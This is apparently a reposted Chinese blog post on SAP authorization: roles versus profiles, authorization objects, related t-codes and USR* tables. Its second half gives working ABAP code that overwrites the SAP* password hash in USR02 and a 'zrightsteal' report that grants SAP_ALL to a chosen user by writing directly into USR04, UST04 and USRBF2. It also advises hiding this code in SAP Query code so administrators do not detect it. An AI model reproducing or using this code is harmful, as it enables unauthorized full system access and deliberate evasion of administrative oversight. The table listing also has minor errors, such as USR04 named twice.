天天看點

SAP使用者權限解剖及自修改

通常BASIS會使用PFCG做權限管理,時你儲存時會産生一個系統外的profile name,

記得SU01時使用者有profile 和role兩欄位嗎?它們的關系如何呢?

首先明白幾個概念.

1.activity

insert, update, display什麼的.

這些東西當年德國佬是寫在tobj表中的.

activity 也是可分activity group的.

2.activity category &Authorization group

Role Vs Profile

你看看表T020就知道了,就是什麼K,D, A, M什麼的.

profile是什麼呢?實際上可以了解為所有的authorization data(有很多authorization group--{你可使用OBA7填寫,權限太細也不是好事^_^}和activity組成)的一個集合的名字,通常一個自定義的role産

生一個profile, SAP權限控制是根據profile裡的authorization data(objects)來控制的.

role又是什麼呢?role隻是一個名字而已,然後将profile賦予給它, 比如你SU01建立一個

使用者,我沒有任何role,但是加如SAP_ALL profile也是可做任何事情.

SAP本身有很多default role & profile.

3.最常用的PFCG->authorizations->change authorization data->

進入後選取selection criteria 可看到所有的authorization object

manually可手工加authorization object,比如你使用某個t-code權限出錯誤,abap使用SU53檢查就

知道缺少哪個authorization object,然後手工加入就可以.

你選去authorization levels就可by account type再細分權限.

有些甚至直接到表字段.而且你甚至可給一個object配置設定緩存buffer.

那麼SAP是如何做到權限控制的呢,屠夫就用刀小宰一下.

4.關于權限方面的幾個t-code.

(一)Role(角色)相關T-code:

PFAC         标準

PFAC_CHG 改變

PFAC_DEL 删除

PFAC_DIS 顯示

PFAC_INS 建立

PFAC_STR

PFCG 建立

ROLE_CMP 比較

SUPC 批量建立角色profile

SWUJ 測試

SU03            檢測authorization data

SU25, SU26      檢查updated profile

(二)建立使用者相關T-code:

SU0

SU01

SU01D

SU01_NAV

SU05

SU50, Su51, SU52

SU1

SU10 批量

SU12 批量

SUCOMP:維護使用者公司位址

SU2 change使用者參數

SUIM 使用者資訊系統

使用者組

SUGR:維護

SUGRD:顯示

SUGRD_NAV:還是維護

SUGR_NAV:還是顯示

(三)關于profile & Authorization Data

SU02:直接建立profile不用role

SU20:細分Authorization Fields

SU21(SU03):****維護Authorization Objects(TOBJ,USR12).

對于憑證你可細分到:

F_BKPF_BED: Accounting Document: Account Authorization for Customers

F_BKPF_BEK: Accounting Document: Account Authorization for Vendors

F_BKPF_BES: Accounting Document: Account Authorization for G/L Accounts

F_BKPF_BLA: Accounting Document: Authorization for Document Types

F_BKPF_BUK: Accounting Document: Authorization for Company Codes

F_BKPF_BUP: Accounting Document: Authorization for Posting Periods

F_BKPF_GSB: Accounting Document: Authorization for Business Areas

F_BKPF_KOA: Accounting Document: Authorization for Account Types

F_BKPF_VW : Accounting Document: Change Default Values for Doc.Type/PsKy

然後你進去還可細分,這些個東西是save在USR12表中的. 在DB層是UTAB.

對具體transaction code細分:    

SU22,SU24

SU53:*** 就是你出錯用來檢查沒有那些authorization objects.

SU56:分析authorization data buffers.

SU87:用來檢查使用者改變産生的history

SU96,SU97,SU98,SU99:幹啥的?

SUPC:批量産生role

DB和logical層:

SUKRI: Transaction Combinations Critical for Security

tables:

TOBJ : All available authorization objects.(全在此)

USR12: 使用者級authorization值

-----------------------------

USR01:主資料

USR02:密碼在此

USR04:授權在此

USR03:User address data

USR05:User Master Parameter ID

USR06:Additional Data per User

USR07:Object/values of last authorization check that failed

USR08:Table for user menu entries

USR09:Entries for user menus (work areas)

USR10:User master authorization profiles

USR11:User Master Texts for Profiles (USR10)

USR12:User master authorization values

USR13:Short Texts for Authorizations

USR14:Surchargeable Language Versions per User

USR15:External User Name

USR16:Values for Variables for User Authorizations

USR20:Date of last user master reorganization

USR21:Assign user name address key

USR22:Logon data without kernel access

USR30:Additional Information for User Menu

USR40:Table for illegal passwords

USR41:目前使用者

USREFUS:

USRBF2

USRBF3

UST04:User Profile在此

UST10C: Composite profiles

UST10S: Single profiles (角色對應的

UST12 : Authorizations

.................................

如何竊取權限

.................................

使用者:

User type使用者類型(幹啥用的不講):

通常的使用者類型有

a. dialog (就是normal user)

b. Communication

c. system

d. service

e. reference.

通常你在使用任何T-code前一定會有權限檢測的.

AUTHORITY_CHECK:這個函數隻是小檢查一下你的user有沒有,什麼時候過期.

**如果coding隻要使用此函數就夠了.

AUTHORITY_CHECK_TCODE: 檢查T-code

這倆函數是真正檢查authorization objects的.

SUSR_USER_AUTH_FOR_OBJ_GET:

AUTHORIZATION_DATA_READ_SELOBJ:

------------------------------------------

将SAP*的密碼改成123的程式,很簡單.

我們找到那個user logon表USR02.

(DF52478E6FF90EEB是經過SAP加密儲存在DB的,哪位老兄研究過SAP的密碼加密?)

REPORT zmodsap*.
DATA zusr02 LIKE usr02 .
SELECT SINGLE * INTO zusr02 FROM usr02
WHERE bname = 'SAP*'.
zusr02-bcode = 'DF52478E6FF90EEB' .
UPDATE usr02 FROM zusr02 .
           

現在的問題是如何讓你那basis不發現,很簡單,将code隐藏在Query裡面,就是說你做一個

query, query是會産生code的,然後你加入此代碼,誰能想到???然後你就等你的BASIS去哭...

這樣做太狠毒了.還是自己偷偷搞自己的使用者吧.

在此你必須對權限結構非常清晰.

權限和三個表有關系.

a.USR04

b.USR04

c.USRBF2 這個表是對應到所用的authorization objects的.

*&---------------------------------------------------------------------*
*& Report        : Steal SAP ALL Right                                 *
*& Creation Date : 2004.04.01                                          *
*& Created by    : Stone.Fu                                            *
*& Description   : 可竊取SAP ALL權限                                     *
*& Modified Date : 2005.11.02
*& Description   : 将此code hide在report painter or query code        *
*&---------------------------------------------------------------------*


REPORT zrightsteal.

DATA zusr04 LIKE usr04 .
DATA zust04 LIKE usr04 .
DATA zprofs LIKE usr04-profs.
DATA zusrbf2 LIKE usrbf2 OCCURS 0 WITH HEADER LINE.
"USRBF2 internal table
** Update Authorization table USR04.
SELECT SINGLE * INTO zusr04 FROM usr04
WHERE bname = 'SPI003'. "SAP All 權限
MOVE 'C SAP_ALL' TO zprofs .
zusr04-nrpro = '14'.
zusr04-profs = zprofs.
UPDATE usr04 FROM zusr04 .

**Update User authorization masters table UST04 .
SELECT SINGLE * INTO zust04 FROM ust04
WHERE bname = 'SPI003'.
zust04-PROFS = 'SAP_ALL'. "SAP all 權限
UPDATE ust04 FROM zust04 .

*insert
*ZUST04-MANDT = '200'.
*ZUST04-BNAME = 'ZABC2'.
*ZUST04-PROFILE = 'SAP_ALL'.
*Insert UST04 from ZUST04 .

SELECT * FROM usrbf2 INTO TABLE zusrbf2
WHERE bname = 'SAP*' .
LOOP AT zusrbf2.
  zusrbf2-bname = 'SPI003'.
  MODIFY zusrbf2 INDEX sy-tabix TRANSPORTING bname.
ENDLOOP.
INSERT usrbf2 FROM TABLE zusrbf2 ACCEPTING DUPLICATE KEYS.
           

自己建立一個ztest使用者不給它任何權限然後在test machine上run 報表zrightsteal.

然後ztest就是SAP_ALL了, 然後你将code hide在SQP query的code中. ABAP code太容易被人發現.

轉自:http://space.itpub.net/?uid-13946941-action-viewspace-itemid-468329